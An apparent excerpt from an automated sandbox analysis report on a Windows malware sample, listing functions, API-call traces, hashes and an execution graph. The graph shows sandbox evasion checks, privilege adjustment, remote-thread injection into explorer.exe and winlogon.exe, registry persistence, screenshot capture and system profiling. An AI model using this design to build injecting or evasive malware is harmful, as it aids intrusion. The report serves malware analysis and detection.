                                                                                                                                                                                                            • SwitchToThread.KERNEL32(?,?,00404D20,?,?,?), ref: 00401F6F
                                                                                                                                                                                                            • NetApiBufferFree.NETAPI32(?), ref: 00401F95
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$ByteCharFreeMultiWide$_snprintfmemset$AllocBufferValidate$CreateDisplayFileInfoInformationLogonModuleNameQuerySwitchThreadUserWith
                                                                                                                                                                                                            • String ID: %s1$%s12$%s123
                                                                                                                                                                                                            • API String ID: 1588441251-2882894844
                                                                                                                                                                                                            • Opcode ID: 63274706b62708f42648d06670bacef668267c51d1314ddcf6f9b5beb05922d2
                                                                                                                                                                                                            • Instruction ID: d6d119788ade0702c334ba716b850de2f597c51d849c979d1570e7f46e431759
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 63274706b62708f42648d06670bacef668267c51d1314ddcf6f9b5beb05922d2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5651B6B25043015BD331DB54C844EEB73A8AFD8754F000A2EFA846B2D1DB78DA48CBA6
                                                                                                                                                                                                            Function 004027B0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 34COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GlobalFindAtomA.KERNEL32(Fri Jun 17 05:52:09 20112,?,?,00402D7C), ref: 004027B9
                                                                                                                                                                                                            • GlobalAddAtomA.KERNEL32(Fri Jun 17 05:52:09 20112), ref: 004027CA
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 004027D6
                                                                                                                                                                                                            • RtlAdjustPrivilege.NTDLL ref: 004027E6
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 004027EC
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AdminAtomGlobalUser$AdjustFindPrivilege
                                                                                                                                                                                                            • String ID: Fri Jun 17 05:52:09 20112$Pn7w$explorer.exe$winlogon.exe
                                                                                                                                                                                                            • API String ID: 3001685711-3521715275
                                                                                                                                                                                                            • Opcode ID: d14c921f1184c696d62da8aac8ded89f8ce8efe24655d3e49b352df140887ec9
                                                                                                                                                                                                            • Instruction ID: 466661b1ea48edbd92509d7abf6a2a5afa49196c9ec5a44dbf6f5976db38d1d5
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d14c921f1184c696d62da8aac8ded89f8ce8efe24655d3e49b352df140887ec9
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6AF08CB460020566EA5077E1AE0AB6B3A1CAB84B90F104137FF00B72E0EAB8DC0046FC
                                                                                                                                                                                                            Function 00402ED0 Relevance: 13.5, APIs: 9, Instructions: 39memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SysFreeString.OLEAUT32(00000000), ref: 00402ED7
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000300,004035BE,7644E610,00402EBE), ref: 00402EEF
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 00402EF2
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000300), ref: 00402EFF
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 00402F02
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,004035BE,004035BE,7644E610,00402EBE), ref: 00402F0B
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 00402F0E
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,004035BE), ref: 00402F1B
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 00402F1E
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$Free$Validate$String
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2629017576-0
                                                                                                                                                                                                            • Opcode ID: fff050803a28cdbdb81a85633d3b81f0a42b3d859f4e64ff46b7961ccc31fb95
                                                                                                                                                                                                            • Instruction ID: 47c24e4de567f4ebe007c7ce519db5101e5d5be497eca443f574c4ff2f4d9865
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fff050803a28cdbdb81a85633d3b81f0a42b3d859f4e64ff46b7961ccc31fb95
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8BF0DAB1656211ABEA102BA59E8CF572A6CEF85B82F040525B708F71D0CAB4DC40D67C
                                                                                                                                                                                                            Function 004014B0 Relevance: 10.6, APIs: 7, Instructions: 72processCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 004014D4
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,?,76D6DB30), ref: 004014DF
                                                                                                                                                                                                            • Process32First.KERNEL32 ref: 00401505
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,?), ref: 00401520
                                                                                                                                                                                                            • Process32Next.KERNEL32(00000000,?), ref: 0040152C
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 00401548
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 0040155A
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleProcess32$CloseCreateFirstInformationNextSnapshotToolhelp32memset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3955875343-0
                                                                                                                                                                                                            • Opcode ID: 7873ba4b88183a8641433f701d7857d9c97be643caff6c6a3dfa6b6ea5f2b523
                                                                                                                                                                                                            • Instruction ID: 35ff206d6e877699644ac5607af1a2cdaefe1b2aeb9dd15ae369335d4f3073ea
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7873ba4b88183a8641433f701d7857d9c97be643caff6c6a3dfa6b6ea5f2b523
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1D11C3B25042146BD310DF65DC0899BBBACEBD53A0F00453AFE55A72D0E33499088BEA
                                                                                                                                                                                                            Function 00401330 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 48libraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 0040135A
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(ntdll.dll,?,00402A8E,-00000006,00000000), ref: 00401367
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 00401373
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AddressCountHandleModuleProcTick
                                                                                                                                                                                                            • String ID: RtlUniform$ntdll.dll
                                                                                                                                                                                                            • API String ID: 1545651562-3277137149
                                                                                                                                                                                                            • Opcode ID: d14c2f9e698ac929ed0932fb87d06ba4f74ade3cc07b29cd2c75e337da446871
                                                                                                                                                                                                            • Instruction ID: 796e466c09054be0152a46d456eb4211c9760dde1472f6724dae78271da73244
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d14c2f9e698ac929ed0932fb87d06ba4f74ade3cc07b29cd2c75e337da446871
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E80126712003045BC314AB6AAC81696B7DEAB84706341413BEE05F36A2C23AD8048BAC
                                                                                                                                                                                                            Function 004012A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23libraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 004012AB
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(ntdll.dll,?,00402A82,00000000), ref: 004012BC
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,RtlUniform), ref: 004012CC
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000000.00000002.2127342577.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bpfz752pYZ.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AddressCountHandleModuleProcTick
                                                                                                                                                                                                            • String ID: RtlUniform$ntdll.dll
                                                                                                                                                                                                            • API String ID: 1545651562-3277137149
                                                                                                                                                                                                            • Opcode ID: eae13d97ce2cff1767e69285929d2bc7f9bbc3e812787a57d7dc8512338ae20e
                                                                                                                                                                                                            • Instruction ID: b56d10f3903839679d055e287fe873ff32dc311f96dddc7098b711b9a384a0cf
                                                                                                                                                                                                            • Opcode Fuzzy Hash: eae13d97ce2cff1767e69285929d2bc7f9bbc3e812787a57d7dc8512338ae20e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 65E04FB07413045BD714BFB6AD09A1637DD9BC47073968036BB09F21E1DA39C814CA6D

                                                                                                                                                                                                            Execution Graph

                                                                                                                                                                                                            Execution Coverage:3.2%
                                                                                                                                                                                                            Dynamic/Decrypted Code Coverage:85.6%
                                                                                                                                                                                                            Signature Coverage:15.8%
                                                                                                                                                                                                            Total number of Nodes:1076
                                                                                                                                                                                                            Total number of Limit Nodes:24
                                                                                                                                                                                                            execution_graph 80802 2c95bf9 80804 2c95b51 80802->80804 80803 2c95c8b 80804->80803 80805 2c95b8c memcpy 80804->80805 80807 2c97290 80804->80807 80805->80804 80810 2c972b0 80807->80810 80809 2c972a5 80809->80804 80811 2c972fc 80810->80811 80812 2c972bf 80810->80812 80813 2c97303 ReadFile 80811->80813 80816 2c97316 80811->80816 80814 2c972d1 memcpy 80812->80814 80812->80816 80813->80816 80815 2c972f1 80814->80815 80815->80809 80816->80809 80817 402c10 LoadLibraryA GetModuleFileNameA 80889 403900 RegOpenKeyExA 80817->80889 80820 402c44 ExitProcess 80821 402c4c 80903 4020b0 CreateFileA 80821->80903 80826 402c81 80914 402240 CreateFileA 80826->80914 80827 402c69 GetTickCount PostMessageA 80827->80826 80836 402ca1 80979 401d80 40 API calls 80836->80979 80837 402cc3 IsUserAnAdmin GetModuleHandleA 80838 402cfc 80837->80838 80839 402cdd GetProcAddress 80837->80839 80842 402d02 80838->80842 80843 402d4e 80838->80843 80839->80838 80841 402cef GetCurrentProcess 80839->80841 80841->80838 80847 402d06 StrStrIA 80842->80847 80848 402d1c 80842->80848 80845 402d56 StrStrIA 80843->80845 80846 402ddd 80843->80846 80844 402ca6 80849 402cb2 80844->80849 80850 402caa ExitProcess 80844->80850 80852 402d81 80845->80852 80853 402d6c 80845->80853 80856 402810 9 API calls 80846->80856 80847->80848 80854 402d3f 80847->80854 80940 402810 RegCreateKeyExA 80848->80940 80980 403440 70 API calls 80849->80980 80984 402950 93 API calls 80852->80984 80859 402810 9 API calls 80853->80859 80981 402950 93 API calls 80854->80981 80862 402de8 GlobalFindAtomA 80856->80862 80858 402cb7 80858->80837 80864 402cbb ExitProcess 80858->80864 80865 402d77 80859->80865 80868 402e38 ExitProcess 80862->80868 80869 402df8 GlobalAddAtomA IsUserAnAdmin 80862->80869 80863 402d44 80982 4011c0 9 API calls 80863->80982 80983 4027b0 43 API calls 80865->80983 80866 402d86 GlobalFindAtomA 80872 402dd6 80866->80872 80873 402d96 GlobalAddAtomA IsUserAnAdmin 80866->80873 80875 402e19 IsUserAnAdmin 80869->80875 80876 402e09 80869->80876 80986 4011c0 9 API calls 80872->80986 80879 402db7 IsUserAnAdmin 80873->80879 80880 402da7 80873->80880 80877 402e24 80875->80877 80876->80875 80987 4014b0 7 API calls 80877->80987 80881 402dc2 80879->80881 80880->80879 80985 4014b0 7 API calls 80881->80985 80883 402d49 80883->80868 80885 402e2f 80885->80868 80887 401580 32 API calls 80885->80887 80886 402dcd 80886->80872 80888 401580 32 API calls 80886->80888 80887->80868 80888->80872 80890 40394a RegQueryValueExA 80889->80890 80891 4039ad GetUserNameA CharUpperA strstr 80889->80891 80892 40397b RegCloseKey 80890->80892 80893 40396f RegCloseKey 80890->80893 80894 4039eb strstr 80891->80894 80896 402c40 80891->80896 80892->80891 80895 40398e 80892->80895 80893->80891 80894->80896 80897 403a04 strstr 80894->80897 80895->80891 80895->80896 80896->80820 80896->80821 80897->80896 80898 403a1d GetSystemWindowsDirectoryA GetVolumeInformationA 80897->80898 80898->80896 80899 403a5d 80898->80899 80899->80896 80900 403a79 GetModuleFileNameA StrStrIA 80899->80900 80900->80896 80901 403aa5 StrStrIA 80900->80901 80901->80896 80902 403ab7 StrStrIA 80901->80902 80902->80896 80904 402230 80903->80904 80905 402200 DeviceIoControl CloseHandle 80903->80905 80906 401fc0 memset SHGetFolderPathA 80904->80906 80905->80904 80907 402087 80906->80907 80908 40201e PathAppendA SetCurrentDirectoryA 80906->80908 80910 402092 FindWindowA 80907->80910 80911 40208b FreeLibrary 80907->80911 80908->80907 80909 402041 LoadLibraryA 80908->80909 80909->80907 80912 402055 GetProcAddress 80909->80912 80910->80826 80910->80827 80911->80910 80912->80907 80913 402065 80912->80913 80913->80907 80915 4022e3 WriteFile GetSystemTimeAsFileTime WriteFile CloseHandle 80914->80915 80916 402324 80914->80916 80915->80916 80917 402330 SHGetFolderPathA 80916->80917 80918 402415 80917->80918 80919 402357 MoveFileA 80917->80919 80921 402420 SHGetFolderPathA 80918->80921 80919->80918 80922 40254f 80921->80922 80923 40244b CreateFileA 80921->80923 80926 402560 CoInitializeEx 80922->80926 80923->80922 80925 4024b1 11 API calls 80923->80925 80925->80922 80927 40258e 80926->80927 80928 40259f GetModuleFileNameW SysAllocString 80926->80928 80927->80928 80930 4027a4 IsUserAnAdmin 80927->80930 80929 4025cd SysAllocString 80928->80929 80935 402746 80928->80935 80931 402733 SysFreeString 80929->80931 80932 4025de CoCreateInstance 80929->80932 80930->80836 80930->80837 80933 402743 SysFreeString 80931->80933 80931->80935 80934 402707 80932->80934 80937 402605 80932->80937 80933->80935 80934->80931 80935->80930 80936 40279e CoUninitialize 80935->80936 80936->80930 80937->80931 80937->80934 80938 402693 CoCreateInstance 80937->80938 80939 4026b5 80938->80939 80939->80934 80941 402855 GetEnvironmentVariableA PathAddBackslashA GetVolumeInformationA _snprintf 80940->80941 80942 4028dd RegCreateKeyExA 80940->80942 80943 4028c0 80941->80943 80942->80943 80944 402924 80942->80944 80943->80943 80947 40291e RegSetValueExA 80943->80947 80945 40292c RegFlushKey RegCloseKey 80944->80945 80946 40293d GetCurrentProcessId 80944->80946 80945->80946 80948 401580 80946->80948 80947->80944 80949 4017e3 Sleep 80948->80949 80951 401596 80948->80951 80949->80868 80952 4015b5 80951->80952 80953 4015ab Sleep 80951->80953 80988 401c70 memset CreateToolhelp32Snapshot 80951->80988 80954 401c70 11 API calls 80952->80954 80953->80951 80953->80952 80955 4015bc 80954->80955 80955->80949 80956 4015c4 OpenProcess 80955->80956 80956->80949 80957 4015df GetModuleHandleA 80956->80957 80958 401616 80957->80958 80959 4015fb GetProcAddress 80957->80959 80961 40161c GetModuleHandleA 80958->80961 80962 40164f VirtualAllocEx 80958->80962 80959->80958 80960 401609 GetCurrentProcess 80959->80960 80960->80958 80965 401632 GetProcAddress 80961->80965 80966 40163e 80961->80966 80963 4017c0 GetHandleInformation 80962->80963 80964 401692 WriteProcessMemory 80962->80964 80963->80949 80967 4017d6 80963->80967 80968 4016be 80964->80968 80969 40172f WriteProcessMemory FlushInstructionCache CreateRemoteThread 80964->80969 80965->80966 80966->80962 80966->80963 80967->80949 80970 4017dc CloseHandle 80967->80970 80971 4016c1 VirtualAlloc 80968->80971 80977 401729 80968->80977 80972 401772 GetHandleInformation 80969->80972 80973 40179e RtlCreateUserThread 80969->80973 80970->80949 80971->80968 80974 4016d9 memcpy WriteProcessMemory VirtualFree 80971->80974 80975 401795 80972->80975 80976 401788 80972->80976 80973->80963 80974->80968 80975->80963 80976->80975 80978 40178e CloseHandle 80976->80978 80977->80969 80978->80975 80979->80844 80980->80858 80981->80863 80982->80883 80983->80883 80984->80866 80985->80886 80986->80883 80987->80885 80989 401cb0 GetLastError 80988->80989 80990 401d08 Module32First 80988->80990 80991 401d6b 80989->80991 80992 401cbf SwitchToThread CreateToolhelp32Snapshot 80989->80992 80993 401d24 80990->80993 80994 401cd5 80990->80994 80991->80951 80992->80991 80992->80994 80995 401d30 StrStrIA 80993->80995 80996 401ce3 GetHandleInformation 80994->80996 80997 401cff 80994->80997 80998 401d42 StrStrIA 80995->80998 80999 401d4e Module32Next 80995->80999 80996->80997 81000 401cf2 80996->81000 80997->80951 80998->80994 80998->80999 80999->80994 80999->80995 81000->80997 81001 401cf8 CloseHandle 81000->81001 81001->80997 81002 2c73940 81003 2c73fd8 81002->81003 81007 2c73965 81002->81007 81004 2c73a6e 81004->81003 81063 2c73750 RegOpenKeyExA 81004->81063 81005 2c739ca VirtualQuery 81006 2c739f5 VirtualQuery VirtualQuery 81005->81006 81005->81007 81006->81007 81007->81003 81007->81004 81007->81005 81012 2c73ab2 SymSetOptions GetCurrentProcess SymInitialize 81013 2c73ad4 GetCurrentProcess 81012->81013 81015 2c73b0e 81012->81015 81074 2c73830 81013->81074 81015->81015 81083 2c93910 VirtualQuery 81015->81083 81017 2c73b34 81084 2c93910 VirtualQuery 81017->81084 81019 2c73b44 GetLastError _snprintf 81085 2c93910 VirtualQuery 81019->81085 81021 2c73bbc 81029 2c73bd8 81021->81029 81217 2c93910 VirtualQuery 81021->81217 81023 2c73bcc 81218 2c93910 VirtualQuery 81023->81218 81024 2c73c38 GetCurrentThread ZwQueryInformationThread 81026 2c73c55 GetCurrentProcess 81024->81026 81027 2c73c95 81024->81027 81030 2c73830 6 API calls 81026->81030 81031 2c73cf8 GetCurrentProcess 81027->81031 81033 2c73d13 81027->81033 81029->81024 81029->81027 81029->81029 81030->81027 81034 2c73830 6 API calls 81031->81034 81032 2c73fc7 VirtualFree 81032->81003 81033->81032 81035 2c73d42 PathAddBackslashA 81033->81035 81034->81027 81036 2c73d56 81035->81036 81036->81036 81037 2c73d70 PathAddBackslashA 81036->81037 81086 2c73090 81037->81086 81043 2c73dc0 81043->81043 81044 2c73dd8 GetDateFormatA GetTimeFormatA _snprintf 81043->81044 81045 2c73e56 PathAddBackslashA 81044->81045 81047 2c73ea0 81045->81047 81096 2c74920 CreateFileA 81047->81096 81051 2c73f20 81138 2c93950 GetDesktopWindow GetWindowDC 81051->81138 81053 2c73f75 81164 2c764b0 CreateFileA 81053->81164 81055 2c73f80 81055->81032 81165 2c766a0 WriteFile 81055->81165 81057 2c73fa1 81166 2c93e00 81057->81166 81059 2c73fa6 PathAddBackslashA 81171 2c825c0 EnterCriticalSection GetCurrentDirectoryA _snprintf SetCurrentDirectoryA 81059->81171 81061 2c73fbc 81214 2c76a10 81061->81214 81064 2c7378e RegQueryValueExA 81063->81064 81065 2c737ab 81063->81065 81064->81065 81066 2c737b2 RegCloseKey 81065->81066 81067 2c737b9 81065->81067 81066->81067 81067->81003 81068 2c737c0 RegOpenKeyExA 81067->81068 81069 2c73810 81068->81069 81070 2c737ea RegSetValueExA 81068->81070 81072 2c73817 RegCloseKey 81069->81072 81073 2c7381e VirtualAlloc 81069->81073 81070->81069 81071 2c73806 RegFlushKey 81070->81071 81071->81069 81072->81073 81073->81003 81073->81012 81076 2c73844 81074->81076 81075 2c7392a 81075->81015 81076->81075 81077 2c73869 SymGetModuleBase 81076->81077 81078 2c73893 SymGetModuleInfo 81077->81078 81079 2c73912 _snprintf 81077->81079 81078->81079 81080 2c738a6 SymGetSymFromAddr 81078->81080 81079->81075 81081 2c738c0 _snprintf 81080->81081 81082 2c738ee _snprintf 81080->81082 81081->81015 81082->81015 81083->81017 81084->81019 81085->81021 81087 2c730a0 81086->81087 81219 2c766d0 81087->81219 81090 2c769d0 81091 2c769d4 CreateDirectoryA 81090->81091 81092 2c73d9a PathAddBackslashA 81090->81092 81091->81092 81093 2c769e1 GetLastError IsUserAnAdmin 81091->81093 81092->81043 81094 2c769f4 PathMakeSystemFolderA 81093->81094 81095 2c769fb SetLastError 81093->81095 81094->81095 81095->81092 81097 2c73efd PathAddBackslashA 81096->81097 81098 2c74a5f WriteFile WriteFile WriteFile GetModuleFileNameA WriteFile 81096->81098 81097->81051 81099 2c74ad0 81098->81099 81099->81099 81100 2c74ad7 WriteFile WriteFile GetUserNameA WriteFile 81099->81100 81101 2c74b30 81100->81101 81101->81101 81102 2c74b37 WriteFile WriteFile GetEnvironmentVariableA WriteFile 81101->81102 81103 2c74b90 81102->81103 81103->81103 81104 2c74b97 WriteFile WriteFile GetSystemDefaultLangID memset 81103->81104 81105 2c74be1 81104->81105 81105->81105 81106 2c74c35 WriteFile 81105->81106 81107 2c74c50 81106->81107 81107->81107 81108 2c74c57 8 API calls 81107->81108 81109 2c74cd5 81108->81109 81109->81109 81110 2c74cdc WriteFile WriteFile GetDateFormatA WriteFile 81109->81110 81111 2c74d40 81110->81111 81111->81111 81112 2c74d47 WriteFile WriteFile GetTimeFormatA WriteFile 81111->81112 81113 2c74da7 81112->81113 81113->81113 81114 2c74dae WriteFile WriteFile GetTimeZoneInformation _snprintf WriteFile 81113->81114 81115 2c74e61 81114->81115 81115->81115 81116 2c74e68 WriteFile WriteFile WriteFile 81115->81116 81242 2c74070 GetTickCount _snprintf 81116->81242 81118 2c74ea6 81243 2c74070 GetTickCount _snprintf 81118->81243 81120 2c74ec1 WriteFile WriteFile GetSystemWindowsDirectoryA WriteFile 81121 2c74f10 81120->81121 81121->81121 81122 2c74f17 WriteFile WriteFile WriteFile IsUserAnAdmin 81121->81122 81123 2c74f5f IsUserAnAdmin 81122->81123 81125 2c74f87 WriteFile WriteFile 81123->81125 81126 2c74f82 81123->81126 81244 2c747e0 RegOpenKeyExA 81125->81244 81126->81125 81130 2c74fb4 81286 2c743e0 memset CreateToolhelp32Snapshot 81130->81286 81132 2c74fba 81303 2c74630 81132->81303 81134 2c74fc0 81134->81097 81135 2c74fc8 GetHandleInformation 81134->81135 81135->81097 81136 2c74fd7 81135->81136 81136->81097 81137 2c74fdd CloseHandle 81136->81137 81137->81097 81139 2c93978 CreateCompatibleDC 81138->81139 81140 2c93971 81138->81140 81141 2c9398e 7 API calls 81139->81141 81142 2c93986 81139->81142 81140->81053 81143 2c93a1f GetProcessHeap HeapAlloc 81141->81143 81144 2c93a8e 81141->81144 81142->81053 81143->81144 81145 2c93a39 memset GetDIBits 81143->81145 81144->81053 81316 2c82ce0 81145->81316 81148 2c93a99 GetDIBits 81320 2c764b0 CreateFileA 81148->81320 81149 2c93a87 81151 2c82d20 4 API calls 81149->81151 81151->81144 81152 2c93ad1 81153 2c93ad8 WriteFile 81152->81153 81163 2c93b11 81152->81163 81321 2c766a0 WriteFile 81153->81321 81155 2c93aff 81322 2c766a0 WriteFile 81155->81322 81156 2c82d20 4 API calls 81158 2c93b22 81156->81158 81160 2c82d20 4 API calls 81158->81160 81159 2c93b0a 81161 2c93e00 2 API calls 81159->81161 81162 2c93b2a ReleaseDC 81160->81162 81161->81163 81162->81053 81163->81156 81164->81055 81165->81057 81167 2c93e2f 81166->81167 81168 2c93e0f GetHandleInformation 81166->81168 81167->81059 81168->81167 81169 2c93e1e 81168->81169 81169->81167 81170 2c93e24 CloseHandle 81169->81170 81170->81059 81172 2c82beb SetCurrentDirectoryA PathFileExistsA 81171->81172 81178 2c82629 81171->81178 81173 2c82c09 SetFileAttributesA DeleteFileA 81172->81173 81174 2c82c25 81172->81174 81173->81174 81175 2c82c3d GetProcessHeap HeapValidate 81174->81175 81176 2c82c57 81174->81176 81175->81176 81177 2c82c4c GetProcessHeap HeapFree 81175->81177 81179 2c82c5d GetProcessHeap HeapValidate 81176->81179 81180 2c82c77 LeaveCriticalSection 81176->81180 81177->81176 81182 2c8265a 81178->81182 81183 2c82665 PathAddBackslashA 81178->81183 81179->81180 81181 2c82c6c GetProcessHeap HeapFree 81179->81181 81180->81061 81181->81180 81383 2c753e0 39 API calls 81182->81383 81186 2c826a0 81183->81186 81186->81186 81187 2c826a8 SHGetFolderPathA PathAddBackslashA 81186->81187 81188 2c826f2 81187->81188 81188->81188 81189 2c8270c CopyFileA 81188->81189 81190 2c82740 81189->81190 81190->81190 81191 2c82753 PathAddBackslashA 81190->81191 81192 2c82763 81191->81192 81193 2c827dd GetTickCount _snprintf VirtualAlloc 81192->81193 81194 2c827c1 SetFileAttributesA DeleteFileA 81192->81194 81193->81172 81195 2c82821 lstrcpynA 81193->81195 81194->81193 81323 2c97b50 GetProcessHeap RtlAllocateHeap 81195->81323 81197 2c82840 81198 2c82855 VirtualFree 81197->81198 81333 2c97ce0 81197->81333 81200 2c766d0 26 API calls 81198->81200 81202 2c8286f SetFileAttributesA RemoveDirectoryA 81200->81202 81357 2c76930 81202->81357 81206 2c828b7 GetProcessHeap HeapAlloc 81207 2c828d3 memset 81206->81207 81208 2c828df 81206->81208 81207->81208 81208->81172 81210 2c82b4a Sleep 81208->81210 81211 2c82b57 81208->81211 81367 2c82410 memset memset GetTempPathA GetTempFileNameA 81208->81367 81210->81208 81210->81211 81211->81172 81212 2c82b89 IsUserAnAdmin GetTickCount RegOpenKeyExA 81211->81212 81212->81172 81213 2c82bbf RegSetValueExA RegFlushKey RegCloseKey 81212->81213 81213->81172 81215 2c76a16 SetFileAttributesA DeleteFileA 81214->81215 81216 2c76a25 81214->81216 81215->81216 81216->81032 81217->81023 81218->81029 81220 2c730eb 81219->81220 81221 2c766ea 81219->81221 81220->81090 81221->81220 81222 2c76702 GetProcessHeap HeapAlloc 81221->81222 81222->81220 81223 2c76726 memset lstrcpynA 81222->81223 81224 2c76742 81223->81224 81224->81224 81225 2c7674a FindFirstFileA 81224->81225 81225->81220 81230 2c76776 81225->81230 81226 2c768f7 FindNextFileA 81227 2c7690b FindClose 81226->81227 81226->81230 81238 2c82d20 81227->81238 81230->81220 81230->81226 81231 2c76825 GetProcessHeap HeapAlloc 81230->81231 81233 2c768a5 SetFileAttributesA SetFileAttributesA DeleteFileA 81230->81233 81234 2c766d0 4 API calls 81230->81234 81236 2c768ca GetProcessHeap HeapValidate 81230->81236 81231->81220 81232 2c76845 memset lstrcpynA PathAddBackslashA 81231->81232 81232->81230 81235 2c768c0 MoveFileExA 81233->81235 81233->81236 81234->81230 81235->81236 81236->81230 81237 2c768e0 GetProcessHeap HeapFree 81236->81237 81237->81230 81239 2c76917 SetFileAttributesA RemoveDirectoryA 81238->81239 81240 2c82d24 GetProcessHeap HeapValidate 81238->81240 81239->81220 81240->81239 81241 2c82d3b GetProcessHeap HeapFree 81240->81241 81241->81239 81242->81118 81243->81120 81245 2c74913 81244->81245 81246 2c74811 _snprintf 81244->81246 81254 2c740f0 GetProcessHeap HeapAlloc 81245->81254 81247 2c74909 RegCloseKey 81246->81247 81252 2c7483c 81246->81252 81247->81245 81248 2c74843 RegQueryValueExA 81249 2c74908 81248->81249 81248->81252 81249->81247 81250 2c74875 WriteFile 81251 2c7488e WriteFile 